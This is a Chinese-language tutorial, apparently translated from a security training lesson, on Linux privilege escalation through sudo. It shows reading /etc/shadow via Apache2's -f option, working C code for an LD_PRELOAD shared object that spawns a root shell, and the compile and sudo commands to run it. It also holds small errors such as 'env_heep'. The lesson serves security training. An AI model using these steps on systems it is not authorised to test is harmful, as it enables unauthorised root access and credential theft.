默认情况下,sudo命令允许您以root权限运行程序。在某些情况下,系统管理员可能需要为普通用户的权限提供一些灵活性。例如,初级SOC分析师可能需要定期使用Nmap,但不会被授予为完全的root访问权限。在这种情况下,系统管理员可以允许该用户仅以root权限运行Nmap,同时在系统的其余部分保持其常规权限级别。

任何用户都可以使用sudo -l命令检查其与root权限相关的当前情况。

https://gtfobins.github.io/(在新选项卡中打开)是一个有价值的来源,它提供了有关如何使用您可能拥有sudo权限的任何程序的信息。

利用应用程序功能

在此上下文中,某些应用程序不会有已知的漏洞利用。您可能会看到这样的应用程序是Apache2服务器。

在这种情况下,我们可以使用“hack”来利用应用程序的功能泄露信息。正如您在下面看到的,Apache2有一个支持加载替代配置文件的选项(-f:指定一个替代ServerConfigFile)。

使用此选项加载/etc/shadow文件将导致一条错误消息,其中包括/etc/shadows文件的第一行。

利用LD_PRELOAD

在某些系统上,您可能会看到LD_PRELOAD环境选项。

LD_PRELOAD是一个允许任何程序使用共享库的函数。这篇博客文章(在新选项卡中打开)将让您了解LD_PRELOAD的功能。如果启用了“env_heep”选项,我们可以生成一个共享库,该库将在程序运行前加载并执行。请注意,如果实际用户ID与有效用户ID不同,LD_PRELOAD选项将被忽略。

此特权升级向量的步骤可以概括如下:;

  1. 检查LD_PRELOAD(使用env_heep选项)
  2. 编写一个简单的C代码,编译为共享对象(扩展名.so)文件
  3. 使用sudo权限和指向.so文件的LD_PRELOAD选项运行程序

C代码只会生成一个根shell,可以编写如下:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为shell.c,并使用以下参数使用gcc将其编译为共享对象文件;

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

现在,我们可以在启动用户可以使用sudo运行的任何程序时使用此共享对象文件。在我们的例子中,Apache2、find或几乎任何可以用sudo运行的程序都可以使用。

我们需要通过指定LD_PRELOAD选项来运行程序,如下所示;

sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

这将导致一个具有root权限的shell生成。

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐